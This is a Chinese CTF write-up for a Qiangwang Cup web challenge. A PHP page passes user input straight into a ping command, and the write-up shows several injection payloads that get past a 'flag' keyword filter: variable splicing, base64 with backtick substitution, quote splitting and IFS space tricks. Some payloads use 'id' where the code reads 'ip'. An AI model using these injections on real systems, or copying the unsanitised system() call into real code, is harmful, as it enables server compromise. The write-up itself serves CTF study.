[第四届-强网杯]:主动

176 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

源码:

 <?php
 highlight_file("index.php");
 ​
 if(preg_match("/flag/i", $_GET["ip"]))
 {
     die("no flag");
 }
 ​
 system("ping -c 3 $_GET[ip]");
 ​
 ?> 

很明显的命令执行: 在这里插入图片描述

由上,我们看到,flag.php就在当前目录下,那么直接cat ./flag不就行了? 可人家将flag关键字过滤了,绕过的方法非常简单(其实刚好前不久才碰到...),有很多种方法绕过; 思路也很简单,只要不然他匹配到关键字即可。

绕过

1.利用变量去绕过:

通过变量赋值,再进行拼接,即可进行绕过: payload:

 ?ip=1;a=fl;b=ag;cat $a$b.php

查看源代码: 在这里插入图片描述

2.通过base64编码

我们需要执行的命令传进去base64编码下,在解码执行即可

 ?id=1;cat `echo 'Li9mbGFnLnBocAo=' | base64 -d`

这里说一下:反引号在Linux的命令行中起着命令替换的作用。命令替换是指shell能够将一个命令的标准输出插在一个命令行中任何位置,即完成引用命令的执行,将其结果替换出来。也就是说会将里面base64解码的命令输出结果返回到命令中。这样即可绕过限制。(说一下,这里不止反引号`,$()也能在shell中起到命令替换的效果。) 也就间接执行了cat ./flag.php 在这里插入图片描述

查看源代码: 在这里插入图片描述

3通过引号绕过关键字

主要的目的还是不让匹配到关键字,那好办 payload:

 ?id=1;cat ./fl'ag'.php

查看源代码: 在这里插入图片描述

4.绕空格过滤

如果碰到过滤空格,还可以${IFS}、<、 $IFS、$IFS$9等字符来代替。

当然绕过姿势肯定是不止上面所说的那些,要懂得随机应变。

flag:

 flag:flag{I_like_qwb_web